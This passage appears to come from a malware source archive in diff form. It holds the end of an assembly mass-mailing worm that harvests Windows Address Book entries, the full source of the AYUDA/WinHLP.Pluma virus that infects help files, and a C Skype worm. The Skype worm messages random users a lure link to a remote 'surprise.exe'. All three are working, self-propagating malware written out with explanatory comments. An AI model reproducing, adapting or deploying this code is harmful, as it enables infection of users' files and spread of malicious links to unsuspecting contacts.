jnz $-1 ; get to the 0byte
dec edi
mov ax,'*\'
stosw
invoke FindFirstFile,addr wTemp,addr wfd
mov hFind,EAX
push eax
inc eax
jz NoFiles
pop ebx
; API's dont modify EBX- its good for handles
.while EBX > 0
lea esi,wfd.cFileName ; filename
lodsw
.if AX != 2E2Eh && AX != 002Eh ; '..' or '.'
; its not those silly directories...
sub esi,02Eh
mov eax,[esi]
.if AL & 010h ; is it a directory
; It is a directory
lea esi,wfd.cFileName
lea edi,wTemp
mov al,'*'
scasb
jnz $-1
sub edi,2
push edi
xor ecx,ecx
mov al,'\'
boohoo: stosb
lodsb
inc ecx
cmp al,00h
jnz boohoo
pop edi
pushad
invoke SearchZIP,addr wTemp
popad
mov ax,'*\'
stosw
sub ecx,2
xor al,al
rep stosb
.else
; It is a file
; Now we have to check if it is a .ZIP file
lea edi,wfd.cFileName
xor al,al
xor ecx,ecx
not ecx
repnz scasb
sub edi,5
mov eax,dword ptr [edi]
or eax,020202020h
cmp eax,'piz.' ; .zip file?
jnz __ret002
lea edi,wTemp
mov al,'*'
xor ecx,ecx
not ecx
repnz scasb
sub edi,2
xor eax,eax
stosw
invoke SetCurrentDirectory,addr wTemp
lea esi,wfd.cFileName
pushad
call zipappend
popad
lea edi,wTemp
xor al,al
xor ecx,ecx
not ecx
repnz scasb
sub edi,2
mov ax,'*\'
stosw
.endif
.endif
jmp zerowfd
__ret002:
invoke FindNextFile,hFind,addr wfd
mov ebx,eax
.endw
invoke FindClose,hFind
NoFiles:
ret
;###########################
zerodir:
xor al,al
lea edi,wTemp
mov ecx,260
rep stosb
jmp __ret001
zerowfd:
xor al,al
lea edi,wfd.cFileName
mov ecx,256
rep stosb
jmp __ret002
SearchZIP ENDP
;þÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅ
; EncodeBase64: Encodes data into MIME format
encodebase64: ; encodeBase64: Proper credit goez out to BumbleBee. I struggled with making
; my own MIME encoder so I ripped one.. :) Thanks alot Bumblebee!!
; input:
; EAX = Address of data to encode
; EDX = Address to put encoded data
; ECX = Size of data to encode
; output:
; ECX = size of encoded data
;
xor esi,esi
call over_enc_table
db "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
db "abcdefghijklmnopqrstuvwxyz"
db "0123456789+/"
over_enc_table:
pop edi
push ebp
xor ebp,ebp
baseLoop:
movzx ebx,byte ptr [eax]
shr bl,2
and bl,00111111b
mov bh,byte ptr [edi+ebx]
mov byte ptr [edx+esi],bh
inc esi
mov bx,word ptr [eax]
xchg bl,bh
shr bx,4
mov bh,0
and bl,00111111b
mov bh,byte ptr [edi+ebx]
mov byte ptr [edx+esi],bh
inc esi
inc eax
mov bx,word ptr [eax]
xchg bl,bh
shr bx,6
xor bh,bh
and bl,00111111b
mov bh,byte ptr [edi+ebx]
mov byte ptr [edx+esi],bh
inc esi
inc eax
xor ebx,ebx
movzx ebx,byte ptr [eax]
and bl,00111111b
mov bh,byte ptr [edi+ebx]
mov byte ptr [edx+esi],bh
inc esi
inc eax
inc ebp
cmp ebp,24
jna DontAddEndOfLine
xor ebp,ebp ; add a new line
mov word ptr [edx+esi],0A0Dh
inc esi
inc esi
test al,00h ; Optimized (overlap rlz!)
org $-1
DontAddEndOfLine:
inc ebp
sub ecx,3
or ecx,ecx
jne baseLoop
mov ecx,esi
add edx,esi
pop ebp
ret
;þÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅ
; Locates addresses inside the default WAB file
WABFindAddies PROC
jmp @F
mappedFile dd 0
mapHandle dd 0
fileHandle dd 0
addrbuf db 256 dup (?)
@@:
xor eax,eax
call @F
phkWABKey dd 0
@@:
push KEY_ALL_ACCESS
push eax
call @F
db "Software\Microsoft\WAB\WAB4\Wab File Name",0
@@:
push HKEY_CURRENT_USER
call RegOpenKeyEx
xor eax,eax
call @F
dd 0000007Fh
@@:
push offset wabfile
push eax
push eax
push eax ; null for (default)
push dword ptr [phkWABKey]
call RegQueryValueEx
push dword ptr [phkWABKey]
call RegCloseKey
push 0
push 0
push 3
push 0
push 1
push 80000000h
call @F
wabfile db 128 dup (?)
@@:
call CreateFile
mov fileHandle,eax
xchg eax,ebx
or ebx,ebx
jz leavewab
push 0
push ebx
call GetFileSize
mov esi,eax
push 0
push esi
push 0
push PAGE_READONLY
push 0
push ebx
call CreateFileMapping
mov mapHandle,eax
xchg eax,ebx
or ebx,ebx
jz leavewab
push esi
push 0
push 0
push FILE_MAP_READ
push ebx
call MapViewOfFile
mov mappedFile,eax
xchg eax,ebx
or ebx,ebx
jz leavewab
;þÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅ
; Find the addresses
; EBX=Base address
mov esi,ebx
mov ecx,[esi+64h] ; number of addies
add esi,[esi+60h] ; points to first address
looperz:
push esi
lea edi,Recipient
push edi
lop:
lodsw
stosb
or al,al
jnz lop
pop ebx
sub edi,ebx
mov sizeRecip,EDI
pop esi
add esi,044h
PUSHAD
CALL SendWorm ; send the worm out!
POPAD
push ecx
lea edi,Recipient
xor al,al
mov ecx,256
rep stosb
pop ecx
dec ecx
jecxz leavewab
jmp looperz
;þÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅ
leavewab:
invoke UnmapViewOfFile,mappedFile
invoke CloseHandle,mapHandle
invoke CloseHandle,fileHandle
ret
WABFindAddies ENDP
;þÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅ
; Thread procedures
thread1 proc
mov al,'c'
lea edi,fr
stosb
mov ax,'\:'
stosw
sub edi,3
isdriveok:
push edi
call GetDriveType
cmp al,03h
jnz nextdrive
mov byte ptr [edi+2],00h
jmp SearchZIP ; we dont even need a ret!
nextdrive:
cmp al,"z"
jz enddrive
inc byte ptr [edi]
jmp isdriveok
enddrive:
ret
thread1 endp
thread2 proc
pop eax ; dont need param
mov [esp],eax
call WABFindAddies
xor eax,eax
ret
thread2 endp
end start

792
Win32/WinHLP.Pluma.txt Normal file

@ -0,0 +1,792 @@
;
; AYUDA! coded by Bumblebee/29a
; the generic HLP infector (tm)
;
; AYUDA is the spanish word for help. If you need 'ayuda' infecting hlp
; files this is the source you're looking for ;)
; But keep in mind that AYUDA is not equal to tutorial!
;
; Disclaimer:
;
; . This is the source code of a VIRUS. The author is not
; responsabile of any damage that may occur due to the assembly
; of this file. Pontius Pilate is washing his hands ;)
;
; Features:
;
; . Takes control directly from the hlp file using macros and the
; EnumWindows function. The virus body is stored in the call.
; . Searches for the required APIs using CRCs instead of names.
; . Uses SEH.
; . Infects hlp files adding a EnumWindows call in the system file
; and plazing this new system at the end of file.
; . Uses size padding as infection sign.
;
; Hlp infection brief:
;
; . The hlp infection is so easy. First you must understand the
; internal format of hlp files: is like a pakaged file system.
; Yeah! There are directories, files and so. Once you have this
; part there is another point you must take into account: how to
; give control to the virus. The solution that AYUDA exploits is
; that WinHlp32 let us say the kind of parameters an imported API
; will use. So if you look for any function with callback features
; (all the enum functions), you can change the parameter that uses
; the address of code to be executed by a string. An this string
; will be the virus code. WinHlp32 allocates memory for the string
; (a string is a pointer to a vector of chars) and passes that
; address to the enum function. Once you have the control you must
; execute the code... and that's all? NOPE! Your virus code MUST
; be a string! So you need to change the code to fit in the string
; required by WinHlp32. At this case i've encoded the virus in a
; way that allows to change the code to make WinHlp32 happy and
; later restore it for normal execution. The virus generates some
; code that pushes the entire virus into the stack. This code it's
; ok for WinHlp32 (avoids on its body some characters) and when
; executes restores the whole virus into the stack and the jumps
; there, does its work, fixes the stack and returns ending the
; callback process.
; I think that with this little explanation and the full commented
; source you'll be able to understand this kind of infection.
;
; Excuse my english!
;
; The way of the bee
;
;
; Description from:
; http://www.viruslist.com/eng/viruslist.asp?id=3981&key=000010000800002
; from AVP.
;
; WinHLP.Pluma
;
;
; This is Windows32 HLP files infector, it does function and replicate as
; a Windows Help script embedded in help file structure. See also WinHLP.Demo
; and Win95.SK".
;
; When infected HLP file is opened, the Windows Help system processes virus
; script and executes all functions placed there. By using a trick the virus
; forces Help system to execute a specially prepared data as binary Windows32
; program, these data are included in one of instructions in the virus
; script. These data themselves are the "start-up" routine that builds the
; main infection routine and executes it. The infection routine is a valid
; Windows32 procedure, and it is executed as a Windows32 application.
;
; When infection routine takes control, it scans Windows kernel (KERNEL32.DLL
; image loaded in Windows memory) in usual for Win32 executable files
; parasitic infectors, and gets addresses of necessary Windows functions
; from there. The infection routine then looks for all Windows Help files in
; the current directory, and infects them all.
;
; While infecting the virus modifies internal HLP file structure, adds its
; script to the "SYSTEM" area, converts its code to start-up routine and
; includes it into the script.
;
; The virus does not manifest itself in any way. It contains the text
; strings:
;
; < AYUDA! Coded by Bumblebee/29a >
; Cumpliendo con mi oficio
; piedra con piedra, pluma a pluma,
; pasa el invierno y deja
; sitios abandonados
; habitaciones muertas:
; yo trabajo y trabajo,
; debo substituir tantos olvidos,
; llenar de pan las tinieblas,
; fundar otra vez la esperanza.
;
;
.486p
.model flat
locals
extrn ExitProcess:PROC
HLPHEADER struc
hhMagic dd ?
hhDirectoryStart dd ?
hhNonDirectoryStart dd ?
hhEntireFileSize dd ?
HLPHEADER ends
HLPFILEHEADER struc
fhReservedSpace dd ?
fhUsedSpace dd ?
fhFileFlags db ?
HLPFILEHEADER ends
BTREEHEADER struct
bthMagic dw ?
bthFlags dw ?
bthPageSize dw ?
bthStructure db 10h dup(?)
bthMustBeZero dw ?
bthPageSplits dw ?
bthRootPage dw ?
bthMustBeNegOne dw ?
bthTotalPages dw ?
bthNLeves dw ?
bthTotalEntries dd ?
BTREEHEADER ends
; from BC++ Win32 API on-line Reference
WIN32_FIND_DATA struc
dwFileAttributes dd 0
dwLowDateTime0 dd ? ; creation
dwHigDateTime0 dd ?
dwLowDateTime1 dd ? ; last access
dwHigDateTime1 dd ?
dwLowDateTime2 dd ? ; last write
dwHigDateTime2 dd ?
nFileSizeHigh dd ?
nFileSizeLow dd ?
dwReserved dd 0,0
cFileName db 260 dup(0)
cAlternateFilename db 14 dup(0)
db 2 dup(0)
WIN32_FIND_DATA ends
K32WIN9X equ 0bff70000h ; Windows 95/98
vSize equ vEnd-vBegin ; size of the baby
PADDING equ 7 ; infection sign
.DATA
dummy db 'WARNING - This is a virus laucher - WARNING'
.CODE
inicio:
push eax ; simulate the callback for
push eax ; 1st generation
push offset goOut
sub esp,((vSize/2)+1)*2 ; why i'm doing this? ;)
jmp virusBegin
goOut:
push 0h
call ExitProcess
vBegin label byte
virusBegin:
pushad ; save all regs
call delta ; get delta offset
delta:
pop ebp
sub ebp,offset delta
lea eax,dword ptr [esp-8h] ; setup SEH
xor edi,edi
xchg eax,dword ptr fs:[edi]
lea edi,exception+ebp
push edi
push eax
mov esi,K32WIN9X ; fixed addr of the K32
cmp word ptr [esi],'ZM' ; K32! are you there?
jne quitSEH
; little anti-debug trick
xor edi,edi
add esi,dword ptr fs:[edi+20h]
; Get APIs stuff with CRC32 instead of names...
mov esi,dword ptr [esi+3ch]
add esi,K32WIN9X
mov esi,dword ptr [esi+78h]
add esi,K32WIN9X
add esi,1ch
lodsd
add eax,K32WIN9X
mov dword ptr [address+ebp],eax
lodsd
add eax,K32WIN9X
mov dword ptr [names+ebp],eax
lodsd
add eax,K32WIN9X
mov dword ptr [ordinals+ebp],eax
sub esi,16
lodsd
mov dword ptr [nexports+ebp],eax
xor edx,edx
mov dword ptr [expcount+ebp],edx
lea eax,FSTAPI+ebp
searchl:
mov esi,dword ptr [names+ebp]
add esi,edx
mov esi,dword ptr [esi]
add esi,K32WIN9X
push eax edx
movzx di,byte ptr [eax+4]
call CRC32
xchg ebx,eax
pop edx eax
cmp ebx,dword ptr [eax]
je fFound
add edx,4
inc dword ptr [expcount+ebp]
push edx
mov edx,dword ptr [expcount+ebp]
cmp dword ptr [nexports+ebp],edx
pop edx
je quitSEH
jmp searchl
fFound:
shr edx,1
add edx,dword ptr [ordinals+ebp]
xor ebx,ebx
mov bx,word ptr [edx]
shl ebx,2
add ebx,dword ptr [address+ebp]
mov ecx,dword ptr [ebx]
add ecx,K32WIN9X
mov dword ptr [eax+5],ecx
add eax,9
xor edx,edx
mov dword ptr [expcount+ebp],edx
lea ecx,ENDAPI+ebp
cmp eax,ecx
jb searchl
; infect all the hlp files in current directory
lea esi,find_data+ebp
push esi
lea esi,hlpMask+ebp
push esi
call dword ptr [_FindFirstFileA+ebp]
inc eax
jz quitSEH
dec eax
mov dword ptr [findHnd+ebp],eax
findNext:
mov eax,dword ptr [find_data.nFileSizeLow+ebp]
mov ecx,PADDING ; test if it's infected
xor edx,edx ; yet
div ecx
or edx,edx ; reminder is zero?
jz skipThisFile
lea esi,find_data.cFileName+ebp
call infect
skipThisFile:
lea esi,find_data+ebp
push esi
push dword ptr [findHnd+ebp]
call dword ptr [_FindNextFileA+ebp] ; Find next file
or eax,eax
jnz findNext
push dword ptr [findHnd+ebp]
call dword ptr [_FindClose+ebp] ; close find handle
quitSEH:
xor esi,esi ; quit SEH
pop dword ptr fs:[esi]
pop eax
popad
add esp,((vSize/2)+1)*2 ; fix stack
xor eax,eax ; return FALSE
ret 8 ; pop the args of the call
; (are two: 2*4=8 bytes)
exception:
xor esi,esi ; we are not under
mov eax,dword ptr fs:[esi] ; win9x... a pitty
mov esp,dword ptr [eax]
jmp quitSEH
;
; does the hlp infection
; IN: esi addr of file name
;
infect:
xor eax,eax
push eax
push 80h
push 3h
push eax
push eax
push 80000000h OR 40000000h
push esi
call dword ptr [_CreateFileA+ebp]
inc eax
jz errorOut
dec eax
mov dword ptr [fHnd+ebp],eax
xor eax,eax
push eax
push eax
push eax
push 4h
push eax
push dword ptr [fHnd+ebp]
call dword ptr [_CreateFileMappingA+ebp]
or eax,eax
jc errorOutClose
mov dword ptr [mfHnd+ebp],eax
xor eax,eax
push eax
push eax
push eax
push 00000004h OR 00000002h
push dword ptr [mfHnd+ebp]
call dword ptr [_MapViewOfFile+ebp]
or eax,eax
jz errorOutCloseMap
; here begins the hlp infection stuff
; save begin of hlp header
mov edi,eax
; check is a valid HLP file
cmp dword ptr [edi.hhMagic],00035f3fh
jne notNiceHlp
; get file size information in the header (not the same than
; 'file in disk' size)
mov ecx,dword ptr [eax.hhEntireFileSize]
mov dword ptr [fileSize+ebp],ecx
; goto directory start
add edi,dword ptr [edi.hhDirectoryStart]
add edi,size HLPFILEHEADER
; check is a valid directory
cmp word ptr [edi],293bh
jne notNiceHlp
; i don't want indexed data, so only one level b-trees
; are nice for me ;)
cmp word ptr [edi.bthNLeves],1
jne notNiceHlp
; scan for |SYSTEM directory.
; search 512 bytes into the b-tree and ignore the internal
; structures of b-tree.
add edi,size BTREEHEADER
mov ecx,200h
searchSystemDir:
cmp dword ptr [edi],'SYS|'
je foundSystemDir
inc edi
loop searchSystemDir
jmp notNiceHlp
foundSystemDir:
; as i only infect non-indexed hlp files, i'm sure the
; data that follows the |SYSTEM zstring is the offset of
; the directory. 1st skip the zstring
add edi,8
; now goto to the directory (offset from hlp header)
; and set the new system directory at the end of file
mov esi,dword ptr [fileSize+ebp]
xchg esi,dword ptr [edi]
mov edi,esi
add edi,eax
; save begin of this file
mov edx,edi
add edi,size HLPFILEHEADER
; check is a system directory
cmp word ptr [edi],036ch
jne notNiceHlp
; check version
mov esi,edi
add esi,0ch
cmp word ptr [edi+2],10h
ja noTitleHere
; if has title, skip it (version <= 16)
skipTitle:
inc esi
cmp byte ptr [esi-1],0
je skipTitle
noTitleHere:
mov edi,esi
; get size of the directory
mov esi,dword ptr [edx]
; the max size of the macro, just an aproximation
add esi,((vSize/2)*10)+1000h
; alloc a temporary buffer
pushad
push 00000004h
push 00001000h
push esi
push 0
call dword ptr [_VirtualAlloc+ebp]
or eax,eax
jne bufferOk
popad
jmp notNiceHlp
bufferOk:
mov dword ptr [mHnd+ebp],eax
popad
; copy system directory plus our macro to the buffer
; 1st old system
mov edi,dword ptr [mHnd+ebp]
mov esi,edx
mov ecx,dword ptr [edx]
rep movsb
; begin 'our macro' generation
; save mapped file handle
push eax
; save begin of our macros
push edi
lea esi,hlpMacro0+ebp
mov ecx,hlpMacroSize0
rep movsb
; generate the macro 'virus body' ;)
; it sholud be more simple but... hehe
lea ecx,vBegin+ebp
lea esi,vEnd+ebp
dec ecx
dec esi
getNext:
cmp byte ptr [esi],0 ; those chars must be
je fix ; changed 'cause they have
cmp byte ptr [esi],22h ; a sentimental value
je fix ; for winhlp32 in macroz
cmp byte ptr [esi],27h
je fix
cmp byte ptr [esi],5ch
je fix
cmp byte ptr [esi],60h
je fix
mov al,0b4h
mov ah,byte ptr [esi]
stosw
dec esi
cmp esi,ecx
je macroDoneFix
getNextInPair:
cmp byte ptr [esi],0
je fix2
cmp byte ptr [esi],22h
je fix2
cmp byte ptr [esi],27h
je fix2
cmp byte ptr [esi],5ch
je fix2
cmp byte ptr [esi],60h
je fix2
mov al,0b0h
mov ah,byte ptr [esi]
stosw
mov ax,5066h
stosw
dec esi
cmp esi,ecx
je macroDone
jmp getNext
fix:
mov al,0b4h
mov ah,byte ptr [esi]
dec ah
stosw
mov ax,0c4feh
stosw
dec esi
cmp esi,ecx
je macroDoneFix
jmp getNextInPair
fix2:
mov al,0b0h
mov ah,byte ptr [esi]
dec ah
stosw
mov ax,0c0feh
stosw
mov ax,5066h
stosw
dec esi
cmp esi,ecx
je macroDone
jmp getNext
macroDoneFix:
mov al,0b0h
mov ah,90h
stosw
mov ax,5066h
stosw
macroDone:
; end the macro
lea esi,hlpMacro1+ebp
mov ecx,hlpMacroSize1
rep movsb
; fix the macro size
pop esi ; get begin of macros
mov ecx,edi ; end of macros
sub ecx,esi ; size of macros
sub ecx,offset macro1-hlpMacro
; sub size of 1st macro and
; and the header of 2nd
mov word ptr [esi+offset macroSize-hlpMacro],cx
; store it! (at its offset)
pop eax
; into edi the size of the new system
sub edi,dword ptr [mHnd+ebp]
mov dword ptr [systemSize+ebp],edi
; fix directory size plus header
mov edx,dword ptr [mHnd+ebp]
mov dword ptr [edx],edi
; fix directory size
push edi
sub edi,size HLPFILEHEADER
mov dword ptr [edx+4],edi
pop edi
; increase hlp file size
add dword ptr [eax.hhEntireFileSize],edi
; and save
push dword ptr [eax.hhEntireFileSize]
push eax
call dword ptr [_UnmapViewOfFile+ebp]
push dword ptr [mfHnd+ebp]
call dword ptr [_CloseHandle+ebp]
; get new hlp file size
pop eax
; calculate size with padding
mov ecx,PADDING
xor edx,edx
div ecx
inc eax
xor edx,edx
mul ecx
mov dword ptr [padSize+ebp],eax
xor eax,eax
push eax
push dword ptr [padSize+ebp]
push eax
push 4h
push eax
push dword ptr [fHnd+ebp]
call dword ptr [_CreateFileMappingA+ebp]
or eax,eax
jc errorOutClose
mov dword ptr [mfHnd+ebp],eax
xor eax,eax
push dword ptr [padSize+ebp]
push eax
push eax
push 00000004h OR 00000002h
push dword ptr [mfHnd+ebp]
call dword ptr [_MapViewOfFile+ebp]
or eax,eax
jz errorOutCloseMap
; add the modified system directory
mov edi,eax
add edi,dword ptr [fileSize+ebp]
mov esi,dword ptr [mHnd+ebp]
mov ecx,dword ptr [systemSize+ebp]
rep movsb
push eax
push 00008000h
push 0h
push dword ptr [mHnd+ebp]
call dword ptr [_VirtualFree+ebp]
pop eax
notNiceHlp:
push eax
call dword ptr [_UnmapViewOfFile+ebp]
errorOutCloseMap:
push dword ptr [mfHnd+ebp]
call dword ptr [_CloseHandle+ebp]
errorOutClose:
push dword ptr [fHnd+ebp]
call dword ptr [_CloseHandle+ebp]
errorOut:
ret
;
; CRC32
;
; IN: esi offset of data to do CRC32
; edi size to do CRC32
;
; OUT:
; eax CRC32
;
; Original routine by Vecna. Gracias!
; This is one of these piezes of code that became essential to
; the virus coder.
;
CRC32:
cld
xor ecx,ecx
dec ecx
mov edx,ecx
push ebx
NextByteCRC:
xor eax,eax
xor ebx,ebx
lodsb
xor al,cl
mov cl,ch
mov ch,dl
mov dl,dh
mov dh,8
NextBitCRC:
shr bx,1
rcr ax,1
jnc NoCRC
xor ax,08320h
xor bx,0EDB8h
NoCRC:
dec dh
jnz NextBitCRC
xor ecx,eax
xor edx,ebx
dec edi
jnz NextByteCRC
pop ebx
not edx
not ecx
mov eax,edx
rol eax,16
mov ax,cx
ret
copyright db '< AYUDA! Coded by Bumblebee/29a >'
messForAvers db 0dh,0ah
db 'Cumpliendo con mi oficio',0dh,0ah
db 'piedra con piedra, pluma a pluma,',0dh,0ah
db 'pasa el invierno y deja',0dh,0ah
db 'sitios abandonados',0dh,0ah
db 'habitaciones muertas:',0dh,0ah
db 'yo trabajo y trabajo,',0dh,0ah
db 'debo substituir tantos olvidos,',0dh,0ah
db 'llenar de pan las tinieblas,',0dh,0ah
db 'fundar otra vez la esperanza.',0dh,0ah
; CRC32 and plaze to store APIs used
FSTAPI label byte
CrcCreateFileA dd 08c892ddfh
size0 db 12
_CreateFileA dd 0
CrcMapViewOfFile dd 0797b49ech
size1 db 14
_MapViewOfFile dd 0
CrcCreatFileMappingA dd 096b2d96ch
size2 db 19
_CreateFileMappingA dd 0
CrcUnmapViewOfFile dd 094524b42h
size3 db 16
_UnmapViewOfFile dd 0
CrcCloseHandle dd 068624a9dh
size4 db 12
_CloseHandle dd 0
CrcFindFirstFileA dd 0ae17ebefh
size5 db 15
_FindFirstFileA dd 0
CrcFindNextFileA dd 0aa700106h
size6 db 14
_FindNextFileA dd 0
CrcFindClose dd 0c200be21h
size7 db 10
_FindClose dd 0
CrcVirtualAlloc dd 04402890eh
size8 db 13
_VirtualAlloc dd 0
CrcVirtualFree dd 02aad1211h
size9 db 12
_VirtualFree dd 0
ENDAPI label byte
; data for the macro generation
hlpMacroSize equ (endOfMacro1-hlpMacro)+vSize
hlpMacro label byte
hlpMacro0 db 4,0,macro0Ends-offset macro0,0
macro0 db 'RR("USER32","EnumWindows","SU")',0
macro0Ends label byte
db 4,0
macroSize dw ?
macro1 db 'EnumWindows("'
endOfMacro0 label byte
hlpMacro1: jmp esp
db '",0)',0
endOfMacro1 label byte
hlpMacroSize0 equ endOfMacro0-hlpMacro
hlpMacroSize1 equ endOfMacro1-offset hlpMacro1
; several handles
fHnd dd 0
mfHnd dd 0
mHnd dd 0
; to store... erm
fileSize dd 0
; file size with padding
padSize dd 0
; the size of the generated system file
systemSize dd 0
; used into API search
address dd 0
names dd 0
ordinals dd 0
nexports dd 0
expcount dd 0
; for find files
hlpMask db '*.hlp',0,0
findHnd dd 0
find_data WIN32_FIND_DATA <?>
vEnd label byte
ends
end inicio

227
Win32/Worm.Win32.Warskype.c Normal file

@ -0,0 +1,227 @@
/***********************************************************************************************
* I saw many IM worms around but nothing using skype. Skype is a nice IM that let you to *
* chat or to do VoIP call, so it is possible to use this program like a spreading vector. *
* I tried to do direct file transfer but it didn't work so well, so I decided to send url *
* to worm to the found users. *
* This is only a demonstration, this is a direct action worm, it will work only if skype *
* is installed. *
* Greetz to: SkyOut, Nibble, izee, RadiatioN, berniee, sk0r, psyco_rabbit ... and everybody *
* on #vx-lab and #eof-project *
* bye bye ... by WarGame *
***********************************************************************************************/
#include <windows.h>
/* Global handlers */
static UINT SkypeAttach;
static UINT SkypeDiscover;
static HWND Answer = NULL;
static HWND SkypeWnd = NULL;
static char rnd_nick[2];
/* generate random nicks to search */
void GetRandNick(void)
{
char possible_searches[] = "qwertyuiopasdfghjklzxcvbnm";
srand(GetTickCount());
rnd_nick[0] = possible_searches[rand()%26];
rnd_nick[1] = 0;
}
DWORD WINAPI S3arch(LPVOID Data)
{
char msg[128];
COPYDATASTRUCT cds;
while(1)
{
GetRandNick();
sprintf(msg,"SEARCH USERS %s",rnd_nick);
cds.dwData= 0;
cds.lpData= msg;
cds.cbData= strlen(msg)+1;
if(!SendMessage(SkypeWnd, WM_COPYDATA, Answer , (LPARAM)&cds))
{
/* skype closed */
ExitProcess(0);
}
Sleep((1000*60)*3); /* every 3 minutes */
}
}
LRESULT CALLBACK SkypeProc(HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam)
{
PCOPYDATASTRUCT SkypeData = NULL;
DWORD ThreadID;
char *found_users = NULL,*chat_cmd = NULL,*chat_id = NULL,msg_cmd[256];
COPYDATASTRUCT cds;
if(uMsg == SkypeAttach)
{
if(lParam == 0)
{
SkypeWnd = (HWND)wParam;
CreateThread(NULL,0,&S3arch,0,0,&ThreadID);
}
}
if(uMsg == WM_COPYDATA)
{
if(wParam == SkypeWnd)
{
SkypeData=(PCOPYDATASTRUCT)lParam;
if(SkypeData != NULL)
{
if(strstr(SkypeData->lpData,"CHAT "))
{
strtok(SkypeData->lpData," ");
chat_id = strtok(NULL," ");
/* this will send the url to everybody :) */
sprintf(msg_cmd,"CHATMESSAGE %s Check this! http://marx2.altervista.org/surprise.exe",chat_id);
cds.dwData= 0;
cds.lpData= msg_cmd;
cds.cbData= strlen(msg_cmd)+1;
SendMessage(SkypeWnd, WM_COPYDATA, Answer , (LPARAM)&cds);
}
if(strstr(SkypeData->lpData,"USERS "))
{
found_users = (char *)GlobalAlloc(GMEM_ZEROINIT|GMEM_FIXED,3096);
if(found_users == NULL)
{
ExitProcess(0);
}
chat_cmd = (char *)GlobalAlloc(GMEM_ZEROINIT|GMEM_FIXED,3096+128);
if(chat_cmd == NULL)
{
ExitProcess(0);
}
strcpy(found_users,(char *)SkypeData->lpData);
strcpy(found_users,found_users+6);
sprintf(chat_cmd,"CHAT CREATE %s",found_users);
/* contact them :) */
cds.dwData= 0;
cds.lpData= chat_cmd;
cds.cbData= strlen(chat_cmd)+1;
SendMessage(SkypeWnd, WM_COPYDATA, Answer , (LPARAM)&cds);
GlobalFree(found_users);
GlobalFree(chat_cmd);
}
}
}
}
DefWindowProc( hWnd, uMsg , wParam, lParam);
return 1; /* != 0 */
}
void MakeWindow(void)
{
WNDCLASS wndcls;
memset(&wndcls,0,sizeof(WNDCLASS));
wndcls.lpszClassName = "WarSkype by [WarGame,#eof]";
wndcls.lpfnWndProc = SkypeProc;
if(RegisterClass(&wndcls) == 0)
{
ExitProcess(0);
}
Answer = CreateWindowEx(0, wndcls.lpszClassName, "Skype sucks!", 0, -1, -1, 0, 0,
(HWND)NULL, (HMENU)NULL, (HINSTANCE)NULL, NULL);
if(Answer == NULL)
{
ExitProcess(0);
}
}
void RunSkype(void)
{
HKEY hKey;
char skype_path[MAX_PATH];
DWORD len = MAX_PATH;
STARTUPINFO inf_prog;
PROCESS_INFORMATION info_pr;
int user_ret;
#define ERROR MessageBox(NULL,"I could not find Skype !","Error!",MB_OK|MB_ICONERROR); \
ExitProcess(0);
/* path of skype in registry */
if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\Skype\\Phone",0,
KEY_QUERY_VALUE,&hKey) != ERROR_SUCCESS)
{
ERROR
}
if(RegQueryValueEx(hKey,"SkypePath",0,NULL,skype_path,
&len) != ERROR_SUCCESS)
{
ERROR
}
RegCloseKey(hKey);
memset(&inf_prog,0,sizeof(STARTUPINFO));
memset(&info_pr,0,sizeof(PROCESS_INFORMATION));
inf_prog.cb = sizeof(STARTUPINFO);
inf_prog.dwFlags = STARTF_USESHOWWINDOW;
inf_prog.wShowWindow = SW_SHOW;
if(CreateProcess(NULL,skype_path,NULL,NULL,FALSE,CREATE_NEW_CONSOLE,NULL,
NULL,&inf_prog,&info_pr))
{
MessageBox(NULL,"Allow this program in skype!","Warning!"
,MB_OK|MB_ICONWARNING);
}
else
{
ERROR
}
}
int __stdcall WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
MSG oMessage;
SkypeAttach = RegisterWindowMessage("SkypeControlAPIAttach");
SkypeDiscover = RegisterWindowMessage("SkypeControlAPIDiscover");
RunSkype(); /* (try to) run skype */
if(SkypeAttach != 0 && SkypeDiscover != 0)
{
MakeWindow(); /* Create window */
SendMessage(HWND_BROADCAST, SkypeDiscover, Answer, 0);
while(GetMessage( &oMessage, 0, 0, 0)!=FALSE)
{
TranslateMessage(&oMessage);
DispatchMessage(&oMessage);
}
}
}